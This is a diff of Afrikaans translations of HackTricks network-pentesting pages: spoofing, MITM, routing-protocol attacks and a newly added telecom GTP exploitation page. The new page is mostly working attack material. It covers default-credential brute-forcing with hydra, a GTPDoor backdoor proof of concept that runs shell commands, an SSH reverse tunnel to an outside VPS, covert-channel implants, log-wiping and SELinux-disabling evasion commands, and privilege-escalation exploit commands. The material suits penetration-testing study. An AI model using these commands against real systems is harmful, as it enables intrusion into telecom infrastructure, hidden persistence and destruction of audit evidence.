- **WPAD Konfigurasie Adres**: Gebruik `-w “http://10.0.0.100/wpad.dat”` om die adres vir WPAD-konfigurasie in te stel, wat help met webverkeer onderskep.
|
||||
- **WPAD-konfigurasieadres**: Gebruik `-w “http://10.0.0.100/wpad.dat”` om die adres vir WPAD-konfigurasie in te stel, wat help met die onderskep van webverkeer.
|
||||
- **Spoof Standaard Gateway IP**: Sluit `-S` in om die standaard gateway IP-adres te spoof.
|
||||
- **Reageer op Alle DHCP Versoeke**: Sluit `-R` in om die bediener te laat reageer op alle DHCP versoeke, maar wees bewus dat dit lawaaierig is en opgespoor kan word.
|
||||
- **Reageer op Alle DHCP-versoeke**: Sluit `-R` in om die bediener te laat reageer op alle DHCP-versoeke, maar wees bewus dat dit luidrugtig is en opgespoor kan word.
|
||||
|
||||
Deur hierdie opsies korrek te gebruik, kan 'n rogue DHCP-bediener gevestig word om netwerkverkeer effektief te onderskep.
|
||||
```python
|
||||
@ -539,7 +539,7 @@ eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
|
||||
```
|
||||
### FHRP (GLBP & HSRP) Aanvalle <a href="#id-6196" id="id-6196"></a>
|
||||
|
||||
**FHRP** (First Hop Redundancy Protocol) is 'n klas van netwerkprotokolle wat ontwerp is om **'n warm redundante routeringstelsel** te skep. Met FHRP kan fisiese routers gekombineer word in 'n enkele logiese toestel, wat fouttoleransie verhoog en help om die las te versprei.
|
||||
**FHRP** (First Hop Redundancy Protocol) is 'n klas van netwerkprotokolle wat ontwerp is om **'n warm redundante routeringstelsel** te skep. Met FHRP kan fisiese routers gekombineer word in 'n enkele logiese toestel, wat foutverdraagsaamheid verhoog en help om die las te versprei.
|
||||
|
||||
**Cisco Systems ingenieurs het twee FHRP protokolle, GLBP en HSRP, ontwikkel.**
|
||||
|
||||
@ -549,18 +549,18 @@ glbp-and-hsrp-attacks.md
|
||||
|
||||
### RIP
|
||||
|
||||
Drie weergawes van die Routing Information Protocol (RIP) is bekend: RIP, RIPv2, en RIPng. Datagrams word na peers gestuur via poort 520 met behulp van UDP deur RIP en RIPv2, terwyl datagrams gebroadcast word na UDP poort 521 via IPv6 multicast deur RIPng. Ondersteuning vir MD5-outeentifikasie is deur RIPv2 bekendgestel. Aan die ander kant is native outeentifikasie nie deur RIPng ingesluit nie; eerder word daar staatgemaak op opsionele IPsec AH en ESP koppe binne IPv6.
|
||||
Drie weergawes van die Routing Information Protocol (RIP) is bekend: RIP, RIPv2, en RIPng. Datagrams word na peers gestuur via poort 520 met behulp van UDP deur RIP en RIPv2, terwyl datagrams gebroadcast word na UDP poort 521 via IPv6 multicast deur RIPng. Ondersteuning vir MD5-outeentifikasie is deur RIPv2 bekendgestel. Aan die ander kant, inheemse outeentifikasie is nie deur RIPng ingesluit nie; eerder, staatmaak op opsionele IPsec AH en ESP koppe binne IPv6.
|
||||
|
||||
- **RIP en RIPv2:** Kommunikasie word gedoen deur UDP datagrams op poort 520.
|
||||
- **RIPng:** Gebruik UDP poort 521 vir die broadcasting van datagrams via IPv6 multicast.
|
||||
- **RIPng:** Gebruik UDP poort 521 vir die broadcast van datagrams via IPv6 multicast.
|
||||
|
||||
Let daarop dat RIPv2 MD5-outeentifikasie ondersteun terwyl RIPng nie native outeentifikasie insluit nie, en staatmaak op IPsec AH en ESP koppe in IPv6.
|
||||
Let daarop dat RIPv2 MD5-outeentifikasie ondersteun terwyl RIPng nie inheemse outeentifikasie insluit nie, en staatmaak op IPsec AH en ESP koppe in IPv6.
|
||||
|
||||
### EIGRP Aanvalle
|
||||
|
||||
**EIGRP (Enhanced Interior Gateway Routing Protocol)** is 'n dinamiese routeringprotokol. **Dit is 'n afstands-vektor protokol.** As daar **geen outeentifikasie** en konfigurasie van passiewe interfaces is nie, kan 'n **indringer** inmeng met EIGRP routering en **routeringstabelle vergiftig**. Boonop is die EIGRP netwerk (met ander woorde, outonome stelsel) **plat en het geen segmentasie in enige sones nie**. As 'n **aanvaller 'n roete inspuit**, is dit waarskynlik dat hierdie roete sal **versprei** deur die outonome EIGRP stelsel.
|
||||
**EIGRP (Enhanced Interior Gateway Routing Protocol)** is 'n dinamiese routeringprotokol. **Dit is 'n afstands-vektor protokol.** As daar **geen outeentifikasie** en konfigurasie van passiewe interfaces is nie, kan 'n **indringer** inmeng met EIGRP routering en **routeringstabelle vergiftig**. Boonop is die EIGRP netwerk (met ander woorde, outonome stelsel) **plat en het geen segmentasie in enige sones nie**. As 'n **aanvaller 'n roete inspuit**, is dit waarskynlik dat hierdie roete **versprei** deur die outonome EIGRP stelsel.
|
||||
|
||||
Om 'n EIGRP stelsel aan te val, vereis **die vestiging van 'n buur met 'n wettige EIGRP router**, wat 'n baie moontlikhede oopmaak, van basiese verkenning tot verskeie inspuitings.
|
||||
Om 'n EIGRP stelsel aan te val, vereis **die vestiging van 'n buur met 'n wettige EIGRP router**, wat baie moontlikhede oopmaak, van basiese verkenning tot verskeie inspuitings.
|
||||
|
||||
[**FRRouting**](https://frrouting.org/) laat jou toe om **'n virtuele router te implementeer wat BGP, OSPF, EIGRP, RIP en ander protokolle ondersteun.** Al wat jy hoef te doen is om dit op jou aanvaller se stelsel te ontplooi en jy kan eintlik voorgee om 'n wettige router in die routering domein te wees.
|
||||
|
||||
@ -568,11 +568,11 @@ Om 'n EIGRP stelsel aan te val, vereis **die vestiging van 'n buur met 'n wettig
|
||||
eigrp-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
[**Coly**](https://code.google.com/p/coly/) het vermoëns om EIGRP (Enhanced Interior Gateway Routing Protocol) uitsendings te onderskep. Dit laat ook die inspuiting van pakkette toe, wat gebruik kan word om routering konfigurasies te verander.
|
||||
[**Coly**](https://code.google.com/p/coly/) het vermoëns om EIGRP (Enhanced Interior Gateway Routing Protocol) broadcasts te onderskep. Dit laat ook die inspuiting van pakkette toe, wat gebruik kan word om routering konfigurasies te verander.
|
||||
|
||||
### OSPF
|
||||
|
||||
In die Open Shortest Path First (OSPF) protokol **word MD5-outeentifikasie algemeen gebruik om veilige kommunikasie tussen routers te verseker**. Hierdie sekuriteitsmaatreël kan egter gecompromitteer word met behulp van gereedskap soos Loki en John the Ripper. Hierdie gereedskap is in staat om MD5-hashes te vang en te kraak, wat die outeentifikasiesleutel blootstel. Sodra hierdie sleutel verkry is, kan dit gebruik word om nuwe routeringinligting in te voer. Om die roeteparameters te konfigureer en die gecompromitteerde sleutel te vestig, word die _Injection_ en _Connection_ oortjies gebruik, onderskeidelik.
|
||||
In die Open Shortest Path First (OSPF) protokol **word MD5-outeentifikasie algemeen gebruik om veilige kommunikasie tussen routers te verseker**. Hierdie sekuriteitsmaatreël kan egter gecompromitteer word met behulp van gereedskap soos Loki en John the Ripper. Hierdie gereedskap is in staat om MD5 hashes te vang en te kraak, wat die outeentifikasiesleutel blootstel. Sodra hierdie sleutel verkry is, kan dit gebruik word om nuwe routeringinligting in te voer. Om die roeteparameters te konfigureer en die gecompromitteerde sleutel te vestig, word die _Injection_ en _Connection_ oortjies gebruik, onderskeidelik.
|
||||
|
||||
- **Vang en Kraak MD5 Hashes:** Gereedskap soos Loki en John the Ripper word vir hierdie doel gebruik.
|
||||
- **Konfigurasie van Roeteparameters:** Dit word deur die _Injection_ oortjie gedoen.
|
||||
@ -613,9 +613,9 @@ set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
|
||||
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
|
||||
dig @localhost domain.example.com # Test the configured DNS
|
||||
```
|
||||
### Plaaslike Poorte
|
||||
### Plaaslike Gateway
|
||||
|
||||
Meerdere roetes na stelsels en netwerke bestaan dikwels. Wanneer 'n lys van MAC-adresse binne die plaaslike netwerk opgestel word, gebruik _gateway-finder.py_ om gasheer te identifiseer wat IPv4-oorplasing ondersteun.
|
||||
Meerdere roetes na stelsels en netwerke bestaan dikwels. Wanneer 'n lys van MAC-adresse binne die plaaslike netwerk gebou word, gebruik _gateway-finder.py_ om gasheer te identifiseer wat IPv4-oorplasing ondersteun.
|
||||
```
|
||||
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
|
||||
root@kali:~# cd gateway-finder/
|
||||
@ -635,24 +635,24 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
|
||||
```
|
||||
### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
Vir plaaslike gasheeroplossing wanneer DNS-opsoeke onsuksesvol is, staat Microsoft-stelsels op **Link-Local Multicast Name Resolution (LLMNR)** en die **NetBIOS Name Service (NBT-NS)**. Op soortgelyke wyse gebruik **Apple Bonjour** en **Linux zero-configuration** implementasies **Multicast DNS (mDNS)** om stelsels binne 'n netwerk te ontdek. Vanweë die nie-geverifieerde aard van hierdie protokolle en hul werking oor UDP, wat boodskappe uitsaai, kan dit deur aanvallers uitgebuit word wat daarop gemik is om gebruikers na kwaadwillige dienste te herlei.
|
||||
Vir plaaslike gasheeroplossing wanneer DNS-opsoeke onsuksesvol is, staat Microsoft-stelsels op **Link-Local Multicast Name Resolution (LLMNR)** en die **NetBIOS Name Service (NBT-NS)**. Net so gebruik **Apple Bonjour** en **Linux zero-configuration** implementasies **Multicast DNS (mDNS)** om stelsels binne 'n netwerk te ontdek. Vanweë die nie-geverifieerde aard van hierdie protokolle en hul werking oor UDP, wat boodskappe uitsaai, kan dit deur aanvallers uitgebuit word wat daarop gemik is om gebruikers na kwaadwillige dienste te herlei.
|
||||
|
||||
Jy kan dienste wat deur gashere gesoek word, naboots deur Responder te gebruik om vals antwoorde te stuur.\
|
||||
Lees hier meer inligting oor [hoe om dienste te naboots met Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
Jy kan dienste naboots wat deur gashere gesoek word deur Responder te gebruik om vals antwoorde te stuur.\
|
||||
Lees hier meer inligting oor [hoe om dienste na te boots met Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
Browers gebruik algemeen die **Web Proxy Auto-Discovery (WPAD) protokol om outomaties proxy-instellings te verkry**. Dit behels die verkryging van konfigurasiedetails van 'n bediener, spesifiek deur 'n URL soos "http://wpad.example.org/wpad.dat". Die ontdekking van hierdie bediener deur die kliënte kan deur verskeie meganismes plaasvind:
|
||||
Browers gebruik algemeen die **Web Proxy Auto-Discovery (WPAD) protokol om outomaties proxy-instellings te verkry**. Dit behels die verkryging van konfigurasie besonderhede van 'n bediener, spesifiek deur 'n URL soos "http://wpad.example.org/wpad.dat". Die ontdekking van hierdie bediener deur die kliënte kan deur verskeie meganismes plaasvind:
|
||||
|
||||
- Deur **DHCP**, waar die ontdekking gefasiliteer word deur 'n spesiale kode 252 inskrywing te gebruik.
|
||||
- Deur **DNS**, wat behels om te soek na 'n gasheernaam met die etiket _wpad_ binne die plaaslike domein.
|
||||
- Deur **Microsoft LLMNR en NBT-NS**, wat terugvalmeganismes is wat gebruik word in gevalle waar DNS-opsoeke nie slaag nie.
|
||||
|
||||
Die hulpmiddel Responder maak voordeel van hierdie protokol deur as 'n **kwaadwillige WPAD-bediener** op te tree. Dit gebruik DHCP, DNS, LLMNR, en NBT-NS om kliënte te mislei om met dit te verbind. Om dieper in te duik in hoe dienste met Responder naboots kan word, [kyk hier](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
Die hulpmiddel Responder maak voordeel van hierdie protokol deur as 'n **kwaadwillige WPAD-bediener** op te tree. Dit gebruik DHCP, DNS, LLMNR, en NBT-NS om kliënte te mislei om met dit te verbind. Om dieper in te duik in hoe dienste met Responder nageboot kan word [kyk hier](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
|
||||
|
||||
Jy kan verskillende dienste in die netwerk aanbied om te probeer om **'n gebruiker te mislei** om sekere **planktekst geloofsbriewe** in te voer. **Meer inligting oor hierdie aanval in** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**
|
||||
Jy kan verskillende dienste in die netwerk aanbied om te probeer om **'n gebruiker te mislei** om sekere **plank-tekst geloofsbriewe** in te voer. **Meer inligting oor hierdie aanval in** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**
|
||||
|
||||
### IPv6 Neighbor Spoofing
|
||||
|
||||
@ -663,7 +663,7 @@ sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neigh
|
||||
```
|
||||
### IPv6 Router Advertisement Spoofing/Flooding
|
||||
|
||||
Sommige OS konfigureer standaard die gateway vanaf die RA-pakkette wat in die netwerk gestuur word. Om die aanvaller as 'n IPv6-router te verklaar, kan jy gebruik maak van:
|
||||
Sommige OS stel standaard die gateway in vanaf die RA-pakkette wat in die netwerk gestuur word. Om die aanvaller as 'n IPv6-router te verklaar, kan jy gebruik maak van:
|
||||
```bash
|
||||
sysctl -w net.ipv6.conf.all.forwarding=1 4
|
||||
ip route add default via <ROUTER_IPv6> dev wlan0
|
||||
@ -671,7 +671,7 @@ fake_router6 wlan0 fe80::01/16
|
||||
```
|
||||
### IPv6 DHCP spoofing
|
||||
|
||||
Deur standaard probeer sommige OS om die DNS te konfigureer deur 'n DHCPv6-pakket in die netwerk te lees. Dan kan 'n aanvaller 'n DHCPv6-pakket stuur om homself as DNS te konfigureer. Die DHCP bied ook 'n IPv6 aan die slagoffer.
|
||||
Standaard probeer sommige OS om die DNS te konfigureer deur 'n DHCPv6-pakket in die netwerk te lees. Dan kan 'n aanvaller 'n DHCPv6-pakket stuur om homself as DNS te konfigureer. Die DHCP bied ook 'n IPv6 aan die slagoffer.
|
||||
```bash
|
||||
dhcp6.spoof on
|
||||
dhcp6.spoof.domains <list of domains>
|
||||
@ -684,7 +684,7 @@ mitm6
|
||||
|
||||
### sslStrip
|
||||
|
||||
Basies wat hierdie aanval doen, is, in die geval dat die **gebruiker** probeer om 'n **HTTP** bladsy te **benader** wat na die **HTTPS** weergawe **herlei**. **sslStrip** sal 'n **HTTP verbinding met** die **klient** en 'n **HTTPS verbinding met** die **bediener** **onderhou** sodat dit in staat sal wees om die verbinding in **plank teks** te **sniff**.
|
||||
Basies wat hierdie aanval doen, is, in die geval dat die **gebruiker** probeer om 'n **HTTP** bladsy te **benader** wat na die **HTTPS** weergawe **herlei**. **sslStrip** sal 'n **HTTP-verbinding met** die **klant** en 'n **HTTPS-verbinding met** die **bediener** **onderhou** sodat dit in staat sal wees om die verbinding in **plank teks** te **snuffel**.
|
||||
```bash
|
||||
apt-get install sslstrip
|
||||
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
|
||||
@ -695,16 +695,16 @@ iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
|
||||
```
|
||||
Meer inligting [hier](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf).
|
||||
|
||||
### sslStrip+ en dns2proxy vir die omseiling van HSTS
|
||||
### sslStrip+ en dns2proxy vir omseiling van HSTS
|
||||
|
||||
Die **verskil** tussen **sslStrip+ en dns2proxy** teenoor **sslStrip** is dat hulle **omlei** byvoorbeeld _**www.facebook.com**_ **na** _**wwww.facebook.com**_ (let op die **extra** "**w**") en die **adres van hierdie domein as die aanvaller se IP** sal stel. Op hierdie manier sal die **klient** met _**wwww.facebook.com**_ **(die aanvaller)** **verbinde**, maar agter die skerms sal **sslstrip+** die **werklike verbinding** via https met **www.facebook.com** **onderhou**.
|
||||
Die **verskil** tussen **sslStrip+ en dns2proxy** teenoor **sslStrip** is dat hulle **omlei** byvoorbeeld _**www.facebook.com**_ **na** _**wwww.facebook.com**_ (let op die **extra** "**w**") en sal die **adres van hierdie domein as die aanvaller se IP** stel. Op hierdie manier sal die **klient** met _**wwww.facebook.com**_ **(die aanvaller)** verbind, maar agter die skerms sal **sslstrip+** die **werklike verbinding** via https met **www.facebook.com** **onderhou**.
|
||||
|
||||
Die **doel** van hierdie tegniek is om **HSTS te vermy** omdat _**wwww**.facebook.com_ **nie** in die **kas** van die blaaiers gestoor sal word nie, so die blaaiers sal mislei word om **facebook-akkreditering in HTTP** uit te voer.\
|
||||
Die **doel** van hierdie tegniek is om **HSTS te vermy** omdat _**wwww**.facebook.com_ **nie** in die **kas** van die blaaier gestoor sal word nie, so die blaaiers sal bedrieg word om **facebook-akkreditering in HTTP** uit te voer.\
|
||||
Let daarop dat om hierdie aanval uit te voer, die slagoffer aanvanklik moet probeer om toegang te verkry tot [http://www.faceook.com](http://www.faceook.com) en nie https nie. Dit kan gedoen word deur die skakels binne 'n http-bladsy te wysig.
|
||||
|
||||
Meer inligting [hier](https://www.bettercap.org/legacy/#hsts-bypass), [hier](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) en [hier](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
|
||||
|
||||
**sslStrip of sslStrip+ werk nie meer nie. Dit is omdat daar HSTS-reëls in die blaaiers gestoor is, so selfs al is dit die eerste keer dat 'n gebruiker toegang tot 'n "belangrike" domein verkry, sal hy dit via HTTPS benader. Let ook daarop dat die gestoor reëls en ander gegenereerde reëls die vlag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **kan gebruik, so die** _**wwww.facebook.com**_ **voorbeeld van voor sal nie meer werk nie, aangesien** _**facebook.com**_ **HSTS met `includeSubdomains` gebruik.**
|
||||
**sslStrip of sslStrip+ werk nie meer nie. Dit is omdat daar HSTS-reëls in die blaaiers gestoor is, so selfs al is dit die eerste keer dat 'n gebruiker 'n "belangrike" domein benader, sal hy dit via HTTPS benader. Let ook daarop dat die gestoor reëls en ander gegenereerde reëls die vlag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **kan gebruik, so die** _**wwww.facebook.com**_ **voorbeeld van voor sal nie meer werk nie, aangesien** _**facebook.com**_ **HSTS met `includeSubdomains` gebruik.**
|
||||
|
||||
TODO: easy-creds, evilgrade, metasploit, factory
|
||||
|
||||
@ -725,7 +725,7 @@ openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
|
||||
# Generate the PEM file by just appending the key and certificate files:
|
||||
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
|
||||
```
|
||||
#### Luister met behulp van sertifikaat
|
||||
#### Luister met behulp van 'n sertifikaat
|
||||
```
|
||||
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
|
||||
```
|
||||
@ -736,7 +736,7 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
|
||||
Soms, as die kliënt nagaan dat die CA 'n geldige een is, kan jy **'n sertifikaat van 'n ander hostname wat deur 'n CA onderteken is, bedien**.\
|
||||
'n Ander interessante toets is om **'n sertifikaat van die versoekte hostname maar self-onderteken** te bedien.
|
||||
|
||||
Ander dinge om te toets, is om te probeer om die sertifikaat te onderteken met 'n geldige sertifikaat wat nie 'n geldige CA is nie. Of om die geldige publieke sleutel te gebruik, te dwing om 'n algoritme soos diffie hellman te gebruik (een wat nie enige iets met die werklike private sleutel hoef te ontsleutel nie) en wanneer die kliënt 'n proef van die werklike private sleutel versoek (soos 'n hash) 'n vals proef te stuur en te verwag dat die kliënt dit nie nagaan nie.
|
||||
Ander dinge om te toets, is om te probeer om die sertifikaat te onderteken met 'n geldige sertifikaat wat nie 'n geldige CA is nie. Of om die geldige publieke sleutel te gebruik, te dwing om 'n algoritme soos diffie hellman te gebruik (een wat nie nodig het om enigiets met die werklike private sleutel te ontsleutel nie) en wanneer die kliënt 'n proef van die werklike private sleutel versoek (soos 'n hash) 'n vals proef te stuur en te verwag dat die kliënt dit nie nagaan nie.
|
||||
|
||||
## Bettercap
|
||||
```bash
|
||||
@ -784,23 +784,27 @@ Bettercap stuur 'n MDNS versoek (elke X ms) wat vra vir **\_services\_.dns-sd.\_
|
||||
|
||||
### **NBNS (NetBios Naam Bediener)**
|
||||
|
||||
Bettercap stuur uitsendings na poort 137/UDP en vra vir die naam "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||||
Bettercap stuur uitsendings na die poort 137/UDP wat vra vir die naam "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||||
|
||||
### **SSDP (Simple Service Discovery Protocol)**
|
||||
|
||||
Bettercap stuur SSDP-pakkette uit en soek vir alle soorte dienste (UDP Poort 1900).
|
||||
Bettercap stuur SSDP-pakkette uit wat soek na alle soorte dienste (UDP Poort 1900).
|
||||
|
||||
### **WSD (Web Service Discovery)**
|
||||
|
||||
Bettercap stuur WSD-pakkette uit en soek vir dienste (UDP Poort 3702).
|
||||
Bettercap stuur WSD-pakkette uit wat soek na dienste (UDP Poort 3702).
|
||||
|
||||
### Telekom / Mobiele Kern (GTP) Exploitatie
|
||||
|
||||
{{#ref}}
|
||||
telecom-network-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
- **Netwerk Sekuriteits Assessering: Ken Jou Netwerk (3de uitgawe)**
|
||||
- **Praktiese IoT Hacking: Die Definitiewe Gids om die Internet van Dinge aan te val. Deur Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
|
||||
- **Netwerk Sekuriteitsassessering: Ken Jou Netwerk (3de uitgawe)**
|
||||
- **Praktiese IoT Hacking: Die Definitiewe Gids tot die Aanval op die Internet van Dinge. Deur Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
|
||||
- [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,140 @@
|
||||
# Telekom Netwerk Exploitatie (GTP / Roaming Omgewings)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Mobiele-kern protokolle (GPRS Tunneling Protocol – GTP) beweeg dikwels oor semi-vertroude GRX/IPX roaming rugsteun. Omdat hulle op gewone UDP met byna geen verifikasie werk nie, **kan enige voetstuk binne 'n telekomperimeter gewoonlik direk toegang tot kern seinvlakke verkry**. Die volgende notas versamel offensiewe truuks wat in die natuur teen SGSN/GGSN, PGW/SGW en ander EPC nodes waargeneem is.
|
||||
|
||||
## 1. Recon & Begin Toegang
|
||||
|
||||
### 1.1 Standaard OSS / NE Rekeninge
|
||||
'n Verrassend groot stel verskaffer netwerk elemente word met hard-gecodeerde SSH/Telnet gebruikers soos `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … verskaf. 'n Toegewyde woordlys verhoog die sukses van brute-force aanslag dramaties:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
As die toestel slegs 'n bestuurs-VRF blootstel, draai eers deur 'n springgas (sien afdeling «SGSN Emu Tunnel» hieronder).
|
||||
|
||||
### 1.2 Gasheer Ontdekking binne GRX/IPX
|
||||
Meeste GRX-operateurs laat steeds **ICMP echo** oor die rugsteun toe. Kombineer `masscan` met die ingeboude `gtpv1` UDP-probes om vinnig GTP-C luisteraars te karteer:
|
||||
```bash
|
||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||
```
|
||||
## 2. Opname van Subscribers – `cordscan`
|
||||
|
||||
Die volgende Go-instrument vervaardig **GTP-C Create PDP Context Request** pakkette en log die antwoorde. Elke antwoord onthul die huidige **SGSN / MME** wat die gevraagde IMSI bedien en, soms, die subscriber se besoekte PLMN.
|
||||
```bash
|
||||
# Build
|
||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
|
||||
# Usage (typical):
|
||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||
```
|
||||
Belangrike vlae:
|
||||
- `--imsi` Teiken abonnee IMSI
|
||||
- `--oper` Tuis / HNI (MCC+MNC)
|
||||
- `-w` Skryf rou pakkette na pcap
|
||||
|
||||
Belangrike konstantes binne die binêre kan gepatch word om skande te verbreed:
|
||||
```
|
||||
pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. Kode-uitvoering oor GTP – `GTPDoor`
|
||||
|
||||
`GTPDoor` is 'n klein ELF-diens wat **UDP 2123 bind en elke inkomende GTP-C-pakket ontleed**. Wanneer die payload met 'n vooraf gedeelde etiket begin, word die oorblywende gedeeltes ontsleutel (AES-128-CBC) en uitgevoer via `/bin/sh -c`. Die stdout/stderr word binne **Echo Response** boodskappe uitgevoer sodat daar nooit 'n uitgaande sessie geskep word nie.
|
||||
|
||||
Minimale PoC-pakket (Python):
|
||||
```python
|
||||
import gtpc, Crypto.Cipher.AES as AES
|
||||
key = b"SixteenByteKey!"
|
||||
cmd = b"id;uname -a"
|
||||
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
Detection:
|
||||
* enige gasheer wat **ongebalanseerde Echo Versoeke** na SGSN IPs stuur
|
||||
* GTP weergawe vlag op 1 gestel terwyl boodskap tipe = 1 (Echo) – afwyking van spesifikasie
|
||||
|
||||
## 4. Pivoting Deur die Kern
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN` verskaf 'n SGSN-emulator wat in staat is om **'n PDP-konteks na 'n werklike GGSN/PGW te vestig**. Sodra dit onderhandel is, ontvang Linux 'n nuwe `tun0` koppelvlak wat bereikbaar is vanaf die roaming-peer.
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
Met behoorlike firewall hair-pinning, omseil hierdie tonnel slegs signalering VLANs en land jy direk in die **data plane**.
|
||||
|
||||
### 4.2 SSH Terugtonnel oor Poort 53
|
||||
DNS is byna altyd oop in roaming infrastruktuur. Stel 'n interne SSH-diens bloot aan jou VPS wat luister op :53 en keer later terug van huis:
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
```
|
||||
Kontroleer dat `GatewayPorts yes` op die VPS geaktiveer is.
|
||||
|
||||
## 5. Verborgen Kanale
|
||||
|
||||
| Kanaal | Vervoer | Dekodering | Aantekeninge |
|
||||
|--------|---------|------------|--------------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte sleutel + 14-byte stukke (XOR) | suiwer passiewe luisteraar, geen uitgaande verkeer |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (sleutel = `funnyAndHappy`) gekodeer in A-record oktette | kyk vir `*.nodep` sub-domein |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | meng met wettige GTP-C geselskap |
|
||||
|
||||
Alle implante implementeer wagte wat **timestomp** hul binaire en herlaai as dit gebroke is.
|
||||
|
||||
## 6. Verdediging Ontduiking Cheatsheet
|
||||
```bash
|
||||
# Remove attacker IPs from wtmp
|
||||
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
||||
|
||||
# Disable bash history
|
||||
export HISTFILE=/dev/null
|
||||
|
||||
# Masquerade as kernel thread
|
||||
echo 0 > /proc/$$/autogroup # hide from top/htop
|
||||
printf '\0' > /proc/$$/comm # appears as [kworker/1]
|
||||
|
||||
touch -r /usr/bin/time /usr/bin/chargen # timestomp
|
||||
setenforce 0 # disable SELinux
|
||||
```
|
||||
## 7. Bevoegdheidstoename op Erfenis NE
|
||||
```bash
|
||||
# DirtyCow – CVE-2016-5195
|
||||
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
|
||||
|
||||
# PwnKit – CVE-2021-4034
|
||||
python3 PwnKit.py
|
||||
|
||||
# Sudo Baron Samedit – CVE-2021-3156
|
||||
python3 exploit_userspec.py
|
||||
```
|
||||
Skoonmaakwenk:
|
||||
```bash
|
||||
userdel firefart 2>/dev/null
|
||||
rm -f /tmp/sh ; history -c
|
||||
```
|
||||
## 8. Gereedskapkas
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – pasgemaakte gereedskap beskryf in vorige afdelings.
|
||||
* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
